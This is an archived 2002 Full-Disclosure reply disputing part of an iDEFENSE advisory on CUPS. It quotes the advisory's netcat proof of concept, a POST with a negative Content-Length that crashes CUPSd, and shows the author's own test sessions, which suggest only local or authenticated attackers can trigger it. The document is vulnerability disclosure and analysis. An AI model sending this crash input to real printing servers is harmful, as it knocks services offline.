full-disclosure - Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <OFDD72E5C0.7E10DF3E-ON85256C96.006D7161@hq.rapid7.com>
From: Joe_Testa at rapid7.com (Joe Testa)
Subject: Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities
 in Common Unix Printing System (CUPS)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> **** ISSUE 4 - Negative Length Memcpy() Calls ****
>
> Negative length memcpy() calls can lead to a denial of service (DoS) and,
> on some platforms, remote root compromise. The following examples
> demonstrate these vulnerabilities:
>
> $ nc -v localhost 631
> localhost [127.0.0.1] 631 (?) open
> POST /printers HTTP/1.1
> Host: localhost
> Authorization: Basic AAA
> Content-Length: -1

I believe this is inaccurate/misleading.

A remote attacker cannot cause CUPSd to call memcpy() with a negative
value unless he or she is authenticated.  An attacker with local access,
however, can.  More specifically, if the attacker's source IP is 127.0.0.1,
then the server can be DOSed/overflowed without authentication.  If the
attacker's source IP is not 127.0.0.1, then the server will return an error
message without parsing the negative 'Content Length' field.

Example:

[jdog@...derland jdog]$ nc -v localhost 631
localhost.localdomain [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

[jdog@...derland jdog]$ nc -v localhost 631
localhost.localdomain [127.0.0.1] 631 (?) : Connection refused

... CUPSd has crashed.  Now lets see what happens when we use the eth0
IP:

[jdog@...derland jdog]$ nc -v 192.168.x.x 631
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 631 (?) open
POST /printers HTTP/1.1
Host: 192.168.x.x
Authorization: Basic AAA
Content-Length: -1

HTTP/1.1 403 Forbidden
Date: Sat, 21 Dec 2002 19:12:25 GMT
Server: CUPS/1.1
Content-Language: C
Upgrade: TLS/1.0,HTTP/1.1
Connection: close
Content-Type: text/html
Content-Length: 150

<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>
You don't have permission to access the resource on this server.</BODY>
</HTML>
[jdog@...derland jdog]$

I'd like to point out that I have _assumed_ that the remote attacker must
authenticate in order to exploit this issue--I'm largely unfamiliar with
CUPS and I'm pressed for time...  Feel free to prove me wrong.

So, it doesn't seem like CUPSd is vulnerable to just any random attacker
who happens to be passing by.  I've tested this against RedHat 8.0's
'cups-1.1.15-10.src.rpm', along with ftp.cups.org's v1.1.14 and v1.1.17.

Word.

    - Joe Testa, Rapid 7, Inc.
    http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839
    A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (Cygwin32)

iD8DBQE+BMKtV+UY4AKwCDkRAhcMAJ4uWOCcfDJte9OKrDwz/eJ6g3Hp5wCfbsKU
V3w22HtfF1Q/NgZTcdu7XIg=
=GIBe
-----END PGP SIGNATURE-----

(See attached file: cups.txt.asc)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: cups.txt.asc
Type: application/octet-stream
Size: 2648 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20021221/2b092206/cups.txt.obj